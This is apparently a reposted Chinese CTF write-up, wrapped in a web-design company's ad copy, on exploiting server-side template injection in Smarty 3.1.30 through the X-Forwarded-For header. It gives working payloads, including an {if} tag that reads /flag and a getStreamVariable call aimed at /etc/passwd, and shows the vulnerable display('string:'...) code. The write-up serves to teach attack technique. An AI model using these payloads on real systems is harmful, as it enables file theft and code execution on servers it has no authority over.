SmartySSTi怎么用
本篇内容介绍了“Smarty SSTi怎么用”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!
创新互联公司-专业网站定制、快速模板网站建设、高性价比扎赉特网站开发、企业建站全套包干低至880元,成熟完善的模板库,直接使用。一站式扎赉特网站制作公司更省心,省钱,快速模板网站建设找我们,业务覆盖扎赉特地区。费用合理售后完善,十多年实体公司更值得信赖。
题目描述
题目提供了一个读取XFF头的api ,页面最下方有Build With Smarty的字样,可以确定是用Smarty引擎写的.
基本上可以确定该页面存在SSTi的可能性
将xff头从127.0.0.1改为127.0.0{1+2}出现如下结果
ssti无疑了
最终payload是
X-Forwarded-For: {if var_dump(file_get_contents('/flag')) }{/if}
Smarty SSTI 利用
Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。
漏洞确认
一般情况下输入{$smarty.version}就可以看到返回的smarty的版本号。该题目的Smarty版本是3.1.30
常规利用方式
Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但就该题目而言,使用{php}{/php}标签会报错:
在Smarty3的官方手册里有以下描述:
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
该题目使用的是Smarty类,所以只能另寻它路。
{literal}标签
官方手册这样描述这个标签:
{literal}可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。
那么对于php5的环境我们就可以使用
来实现PHP代码的执行,但这道题的题目环境是PHP7,这种方法就失效了。
静态方法
通过self获取Smarty类再调用其静态方法实现文件读写被网上很多文章采用。
Smarty类的getStreamVariable方法的代码如下:
public function getStreamVariable($variable) { $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; } $smarty = isset($this->smarty) ? $this->smarty : $this; if ($smarty->error_unassigned) { throw new SmartyException('Undefined stream variable "' . $variable . '"'); } else { return null; } }
可以看到这个方法可以读取一个文件并返回其内容,所以我们可以用self来获取Smarty对象并调用这个方法,很多文章里给的payload都形如:{self::getStreamVariable("file:///etc/passwd")}。然而使用这个payload会触发报错如下:
Fatal error: Uncaught --> Smarty Compiler: Syntax error in template "string:Current IP:{self::getStreamVariable(‘file:///etc/passwd’)}" static class 'self' is undefined or not allowed by security setting <-- thrown in /var/www/html/smarty/libs/sysplugins/smarty_internal_templatecompilerbase.phpon line 12
可见这个旧版本Smarty的SSTI利用方式并不适用于新版本的Smarty。而且在3.1.30的Smarty版本中官方已经把该静态方法删除。对于那些文章提到的利用 Smarty_Internal_Write_File 类的writeFile方法来写shell也由于同样的原因无法使用。
{if}标签
官方文档中看到这样的描述:
Smarty的{if}
条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}
必须有一个配对的{/if}
. 也可以使用{else}
和{elseif}
. 全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array(), 等等
既然全部的PHP函数都可以使用,那么我们是否可以利用此来执行我们的代码呢?
正如开头所说的
题目漏洞代码
通过getshell之后的文件读取,本题中引发SSTI的代码简化后如下:
display("string:".$ip); }
可以看到这里使用字符串代替smarty模板,导致了注入的Smarty标签被直接解析执行,产生了SSTI。
“Smarty SSTi怎么用”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注创新互联网站,小编将为大家输出更多高质量的实用文章!
分享名称:SmartySSTi怎么用
文章起源:http://pwwzsj.com/article/jpspoo.html